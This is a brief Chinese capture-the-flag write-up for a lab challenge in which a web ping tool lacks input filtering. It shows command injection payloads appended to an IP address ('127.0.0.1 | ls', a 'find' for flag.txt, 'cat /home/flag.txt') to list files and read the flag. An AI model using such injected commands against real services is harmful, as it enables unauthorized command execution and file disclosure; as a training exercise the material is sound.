题目来源： Cyberpeace-n3k0
题目描述：小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的，你知道为什么吗。
首先测试一下127.0.0.1，发现返回了ping的结果
然后127.0.0.1 | ls，返回index.php，命令被成功zhixing
127.0.0.1 | find / -name flag.txt，找到flag.txt，位于/home下
127.0.0.1 | cat /home/flag.txt，得到flag
相关文章：
相关资源
相似解决方案
热门标签